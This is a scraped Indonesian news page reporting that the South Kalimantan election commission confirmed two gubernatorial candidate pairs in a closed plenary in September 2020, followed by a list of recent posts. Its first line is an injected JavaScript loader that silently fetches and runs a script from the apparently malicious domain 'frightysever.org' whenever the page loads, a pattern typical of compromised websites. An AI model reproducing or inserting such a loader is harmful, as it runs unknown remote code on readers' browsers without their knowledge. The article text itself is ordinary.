(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Pilgub Kalsel

Tak Hadirkan Paslon Pilgub, KPU Kalsel: Sudah Sesuai PKPU 9/2020


KANALKALIMANTAN.COM, BANJARMASIN – Dua pasangan calon (paslon) di Pilkada Kalsel yakni incumbent Sahbirin Noor- Muhidin dan kubu penantang Denny Indrayana -Difriadi secara resmi ditetapkan sebagai peserta Pilgub Kalsel 2020, berdasarkan hasil pleno KPU, Rabu (23/9/2020).

Lantaran rapat pleno bersifat tertutup, maka dua paslon yang ditetapkan KPU tidak ikut hadir. Hal ini disampaikan oleh Komisioner KPU Provinsi Kalsel Edy Ariansyah usai memberikan keterangan pers di Aula KPU Provinsi Kalsel di Banjarmasin.

“Kita tidak menghindari terkait dengan keterbukaan informasi publik. Tetapi memang ketentuan dalam Peraturan KPU yang mengatur bahwa rapat pleno penentuan ini tidak terbuka,” kata Edy.
Merujuk pasal 68 ayat (1) dan ayat (2) pada Peraturan KPU Nomor 9 Tahun 2020, rapat pleno penetapan paslon di Pilkada bersifat tertutup.

Sehingga, rapat pleno ini hanya dihadiri oleh ketua dan anggota KPU Provinsi Kalsel. “Dalam peraturan KPU tata kerja, ada rapat pleno terbuka dan ada pula rapat pleno tertutup,” imbuh Edy yang pernah menjadi Ketua KPU Provinsi Kalsel ini.

Sehingga, Edy menyebutkan, KPU Provinsi Kalsel tidak mengundang pihak eksternal dalam rapat pleno penetapan paslon ini. Termasuk tidak mengundang dua paslon Pilkada Kalsel yang ditetapkan oleh KPU Provinsi Kalsel ini. “Rapat pleno tertutup, ya hanya berlima yang hadir,” sebutnya.

Kendati demikian, Edy memastikan dua paslon Pilkada Kalsel ini telah memenuhi syarat untuk maju di Pilkada Kalsel. “Semua paslon yang mendaftar di KPU Provinsi Kalsel telah memenuhi syarat,” tegas Edy.

Setelah ditetapkan, Edy memastikan dua paslon akan berhadir dalam pengundian nomor urut yang dijadwalkan akan dihelat di Kantor KPU Provinsi Kalsel pada Kamis (24/9/2020) pukul 16:00 Wita. Dua hari kemudian, terhitung pada Sabtu (26/9/2020) mendatang, sudah memasuki masa kampanye untuk dua paslon di Pilkada Kalsel.

“Mulai tanggal 26 September, memasuki tahapan kampanye,” pungkas Edy. (Kanalkalimantan.com/fikri)

 

Reporter: Fikri
Editor: Cell


Desy Arfianty

Recent Posts

Dirjen Ketenagalistrikan Kementerian ESDM ke Balikpapan, Pastikan Kesiapan PLN Jelang Nataru

KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

12 jam ago

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

14 jam ago

Ide Fresh Bearly Marketing Membranding Bisnismu Lebih Profesional

KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More

15 jam ago

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

16 jam ago

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

2 hari ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

2 hari ago

This website uses cookies.